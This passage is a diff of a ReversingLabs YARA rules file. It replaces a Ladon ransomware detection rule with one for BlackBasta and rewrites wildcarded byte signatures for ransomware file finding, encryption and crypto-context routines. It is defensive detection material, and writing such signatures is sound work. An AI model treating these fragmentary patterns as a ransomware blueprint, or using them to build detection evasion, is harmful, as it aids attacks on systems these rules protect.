+            ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51 53 FF D7 6A
+            ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8B 45 ?? 03 F0 3B 75 ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 6A ?? 8D
+            45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ??
+            ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 73 ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B
+            3D ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B 3D
+            ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F
+        }
+		$encrypt_files_p3 = {
+            57 C0 0F B6 47 ?? C1 E1 ?? 0B C8 66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ??
+            ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6
+            4F ?? C1 E1 ?? 0B C8 0F B6 47 ?? 6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6
+            47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ?? 0B C8 53 89 4D ?? FF D7 8B 35 ?? ?? ?? ?? 8D 45 ??
+            6A ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6 85 C0 74 ?? FF 75 ?? BA ?? ?? ?? ??
+            8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51
+            53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            81 7D ?? ?? ?? ?? ?? 72 ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6
+            85 C0 75 ?? 8B 75 ?? 6A ?? 0F 57 C0 6A ?? 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF D7
+            6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 89 55 ?? C7
+            45 ?? ?? ?? ?? ?? 85 D2 74 ?? 8B FA B9 ?? ?? ?? ?? F3 A5 8B 4D ?? 68 ?? ?? ?? ?? 8B
+            01 8B 49 ?? 89 82 ?? ?? ?? ?? 8D 45 ?? 50 52 6A ?? 6A ?? 6A ?? FF 75 ?? 89 8A ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF 15
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 EB ?? 83 CE ?? 85 DB 74 ?? 53 FF 15 ??
+            ?? ?? ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 E8 ?? ?? ?? ?? 8B
+            4D ?? 83 C4 ?? 8B C6 33 CD 5F 5E 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 		$find_files_p1 = {
-            73 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 72
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 16 28 ?? ??
-            ?? ?? 02 8E 39 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 16 0D
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 17 0D 20 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 1F ?? 1B 28 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 13 ?? 6F ?? ?? ?? ?? 13 ?? 28
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ??
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 11 ?? 16 11
-            ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 13 ?? 1C 8D ?? ?? ?? ?? 25 16
-            72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ??
-            A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 13 ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72
-            ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2
-            25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 72 ?? ??
-            ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72
+            FF 74 B4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 46 83
+            FE ?? 7C ?? FF 74 24 ?? FF D7 68 ?? ?? ?? ?? 8B F0 FF D7 03 F0 8D 84 24 ?? ?? ?? ??
+            6A ?? 50 FF D7 8D 0C 06 33 C0 83 C1 ?? 0F 92 C0 F7 D8 0B C1 50 E8 ?? ?? ?? ?? 8B F0
+            83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8 ?? ?? ??
+            ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ??
+            ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
+            83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? 83 C7 ?? 57 FF 15 ?? ?? ??
+            ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 85 C9 74 ?? 8B 54 24 ?? C7 01 ?? ?? ??
+            ?? C7 41 ?? ?? ?? ?? ?? 83 7A ?? ?? 75 ?? 89 4A ?? 89 4A ?? 57 89 31 FF 15 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 8B 42 ?? 89 48 ?? 8B 42 ?? 8B 40 ?? 89 42 ?? 89 30 57 FF 15 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 33 F6 C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 B4 ?? 8D 84 24
         }
 		$find_files_p2 = {
-            A2 13 ?? 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 1C 32 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 13 ??
-            16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ??
-            72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 13 ??
-            16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 2C ?? 12 ?? 11 ?? 8E 69 17 58 28 ?? ?? ?? ?? 11 ?? 11 ?? 16 6F ?? ?? ?? ?? 11 ??
-            A2 2B
+            50 FF D3 85 C0 0F 85 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 6A ?? FF 74 24 ?? FF D7 8B F0 8D
+            84 24 ?? ?? ?? ?? 50 FF D7 03 F0 33 C0 83 C6 ?? 0F 92 C0 F7 D8 0B C6 50 E8 ?? ?? ??
+            ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56
+            E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 56 E8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? E8 ?? ??
+            ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 EB ?? 57 68 ?? ?? ??
+            ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ??
+            85 C0 74 ?? 8B 54 24 ?? 53 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ??
+            57 E8 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 8B 35 ?? ??
+            ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15
+        }
+		$create_crypt_context = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ??
+            ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 C8 ?? 8B 4D ?? 33 CD E8 ?? ?? ??
+            ?? 8B E5 5D C2 ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 6A ?? 50 FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF
+            D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 75 ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 68 ?? ?? ?? ?? 56 6A ??
+            FF 15 ?? ?? ?? ?? 8D 45 ?? 89 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D
+            04 45 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ??
+            ?? ?? ?? 85 C0 75 ?? 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 8B 45 ?? 5E 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ??
+            33 C0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($internal_encrypt_file)
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($create_crypt_context) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Ladon : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Ladon ransomware."
+		description = "Yara rule that detects BlackBasta ransomware."
 		author = "ReversingLabs"
-		id = "ebc8f957-cdcf-54eb-bd02-74088cf51768"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "7c451fde-b8b1-5a35-855e-7e30f3e75cbb"
+		date = "2022-12-13"
+		modified = "2022-12-13"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ladon.yara#L1-L101"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "979e3f3bf6a67bf10b6bfdd2eeb722d8836096076b7e88c6d4aca041a1a9eecb"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BlackBasta.yara#L1-L531"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c68671e51489af00e9e0cf28373e5ec01bda042653dbcca8843357eede41f27f"
 		score = 75
-		quality = 90
+		quality = 88
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ladon"
+		tc_detection_name = "BlackBasta"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files = {
-            F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66
-            3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2
-            75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ??
-            83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85
-            ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 85 DB 74 ?? 90 8B 45 ?? 8B
-            34 B8 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 8B 08 66 3B 0E 75 ?? 66 85 C9 74 ??
-            66 8B 48 ?? 66 3B 4E ?? 75 ?? 83 C0 ?? 83 C6 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83
-            C8 ?? 85 C0 74 ?? 47 3B FB 72 ?? 8B 75 ?? 8B 7D ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF
-            15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 33 DB 83 F8 ?? 0F
-            95 C3 FF 15 ?? ?? ?? ?? 5E 8B C3 5B 5F 8B E5 5D C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 33 DB 89 5D ?? E8 ?? ?? ?? ?? 8B F8 83
-            C4 ?? 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 83 3F ?? 0F 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ??
-            FF 77 ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
-            77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
-            77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
-            77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
-            77 ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 83 3E ?? 0F 85
-            ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ??
-            8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 39 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 70
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF 75 ?? 33 FF C7 45
-            ?? ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 83 3E ?? 75 ?? 57
-            68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? FF 70 ?? 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74
-            ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 7B ?? A1 ??
-            ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1D ?? ?? ?? ?? 85 F6 74 ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? 8B C7 5F 5E 5B 8B E5 5D C3 FF 76 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 78 ?? 85 FF 74 ?? 8B 47 ?? 89 45
+            53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B F0 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6
+            E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 ?? ?? ?? ?? 89 9D ??
+            ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88
+            9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75
+            ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ??
+            ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ??
+            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15
         }
-		$encrypt_files_p2 = {
-            8B 70 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 04 75 ?? ?? ?? ?? 50 6A ?? FF 15 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 84 9D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 0C 75
-            ?? ?? ?? ?? 51 50 8D 46 ?? 50 8B 45 ?? FF 70 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 3F
-            43 85 FF 75 ?? 68 ?? ?? ?? ?? C7 84 9D ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50
-            6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B C8 89 4D ?? 85 C9 0F 84 ?? ?? ?? ??
-            8B C6 99 6A ?? 2B C2 D1 F8 6A ?? 89 45 ?? 8D 45 ?? 50 51 6A ?? 56 FF 77 ?? FF 15 ??
-            ?? ?? ?? 8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 57 8B 7D ?? 8B F0 57 56 FF 15 ?? ?? ?? ?? 56 FF 15
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
-            ?? ?? 8B 7D ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 05 ?? ?? ??
-            ?? ?? ?? ?? ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 85 DB 74 ?? FF B4 B5 ??
-            ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 46 3B F3 72 ?? 8B 45 ?? 5F 5E
-            5B 8B E5 5D C3
+		$encrypt_files_v1 = {
+            6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ??
+            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F
+            ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A
+            ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 FF B5 ?? ?? ?? ?? 57 53 56 83 EC ?? 8B F4 89 A5
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ??
+            ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A
+            ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ??
+            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45
+            ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ?? ?? ??
+            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
         }
-		$remote_connection = {
-            8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E5 5D C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 78 ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ??
-            85 F6 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ??
-            83 C4 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 8B E5 5D C3
+		$cmd_prompt = {
+            8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? FC 53 56 8B 75 ?? 8D 45 ?? 33 DB
+            68 ?? ?? ?? ?? 53 50 89 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 0F 84 ??
+            ?? ?? ?? 85 F6 75 ?? 53 39 5D ?? 75 ?? E8 ?? ?? ?? ?? 59 33 C0 E9 ?? ?? ?? ?? FF 75
+            ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 85 F6 0F 94 C0 E9 ??
+            ?? ?? ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 5D ?? 57 85 C0 74 ?? E8
